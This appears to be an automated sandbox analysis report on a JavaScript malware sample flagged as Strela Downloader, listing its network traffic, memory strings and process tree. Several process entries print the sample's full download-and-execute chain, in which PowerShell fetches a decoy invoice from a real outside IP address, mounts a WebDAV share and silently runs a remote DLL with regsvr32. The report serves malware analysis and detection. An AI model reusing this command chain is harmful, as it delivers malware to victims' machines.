TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1569292149.000001FF8A75C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1635498494.00000215D48BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1635498494.00000215D4898000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1635498494.00000215D48C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1635498494.00000215D48EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1635498494.00000215D48C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/2
Source: svchost.exe, 00000009.00000002.2852088166.0000026ACDA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1643568669.0000026ACD760000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5184, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2709365481268819493.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1608:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0qvqmmgv.r1d.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1648,i,15336003115330459047,800653548766116304,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1648,i,15336003115330459047,800653548766116304,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
